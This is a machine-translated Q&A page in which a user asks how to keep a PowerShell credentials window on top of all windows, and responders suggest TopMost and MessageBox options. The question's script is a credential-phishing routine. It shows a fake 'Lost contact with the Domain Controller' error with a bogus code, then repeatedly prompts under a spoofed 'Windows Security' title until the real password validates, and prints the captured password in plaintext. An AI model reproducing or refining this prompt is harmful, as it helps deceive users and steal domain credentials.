показывать окно кредитов в верхней части каждого окна - PullRequest
0 голосов
/ 29 апреля 2019

Я хочу, чтобы окно кредитов в powershell отображалось в верхней части каждого окна, как пользователь видит это окно в каждом окне ..............

function Invoke-Prompt {
    [CmdletBinding()]
    Param (
        [Switch] $ProcCreateWait,
        [String] $MsgText = 'Lost contact with the Domain Controller.',
        [String] $IconType = 'Information',         # "None", "Critical", "Question", "Exclamation" , "Information" 
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)

    if($MsgText -and $($MsgText -ne '')){
        $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
    }

    $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
    $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")

    if($credential){
           while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
              $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
          }
        "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
    }
    else{
        "[!] User closed credential prompt"
    }
}
Invoke-Prompt

Ответы [ 2 ]

0 голосов
/ 30 апреля 2019

Что касается этого ....

нет такой вещи, как свойство topmost в System.Windows.Forms

... вы уверены в этом,потому что нижеприведенное будет опровергать, что ...

Свойство Form.TopMost

Определение пространства имен: System.Windows.Forms

Assembly: System.Windows.Forms.dll

Получает или задает значение, указывающее, должна ли форма отображаться в качестве самой верхней формы.

Другие примеры самых активных действий:

Уловки PowerShell - откройте диалоговое окно как самое верхнее окно - и оно действительно покрывает ваш, но не самый верхний комментарий, то есть диалоговое окно, которое вы используете по сравнению с формой Windows.хорошо, что вы разместили здесь.Если вы хотели использовать WinForm / WPF, вам нужно использовать их.

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName PresentationFramework

Даже если нет встроенного свойства для установки диалога в качестве верхнего окна, этого можно достичь с помощьювторая перегрузка метода ShowDialog (MSDN: метод ShowDialog).Эта перегрузка ожидает параметр, который указывает родительские окна диалога.Так как собственное окно не будет использоваться после закрытия диалога, мы можем просто создать новую форму на лету в вызове метода:

Add-Type -AssemblyName System.Windows.Forms

$FolderBrowser = New-Object System.Windows.Forms.FolderBrowserDialog
$FolderBrowser.Description = 'Select the folder containing the data'

$result = $FolderBrowser.ShowDialog((New-Object System.Windows.Forms.Form -Property @{TopMost = $true }))

if ($result -eq [Windows.Forms.DialogResult]::OK)
{ $FolderBrowser.SelectedPath }
else { exit }

Или эта ...

Держите Messagebox.show () поверх другого приложения, используя c #

MessageBox.Show("Message Text", "Header", MessageBoxButtons.OK, MessageBoxIcon.None, 
     MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000);  // MB_TOPMOST
The 0x40000 is the "MB_TOPMOST"-Flag.

# Or

MessageBox.Show("Hello there", "Prompt", MessageBoxButtons.OK, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);

C # MessageBox на передний план, когда приложение свернуто в лоток

MessageBox.Show(new Form() { TopMost = true }, "You have not inputted a username or password. Would you like to configure your settings now?",
                 "Settings Needed",
                 MessageBoxButtons.YesNo,
                 MessageBoxIcon.Question);

Заставить MessageBox быть в верхней части окна приложения в .net / WPF Принятый ответ с 43 ответами:

Сохранить форму поверх всех других окон

Что ж, это C #, но поскольку PowerShell может использовать все .Net, это все еще стоит рассмотреть.

Наконец, почему вы говорите, что то, что вы показываете?Разве не дает вам запланированные результаты?Когда я тестирую то, что у вас есть, оно работает как минимум на двух системах, на которых я его тестировал.

0 голосов
/ 29 апреля 2019

Вы смотрели на:

$Credential = Get-Credential 

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-6

Ссылка на примеры для некоторых примеров настройки запроса учетных данных.

...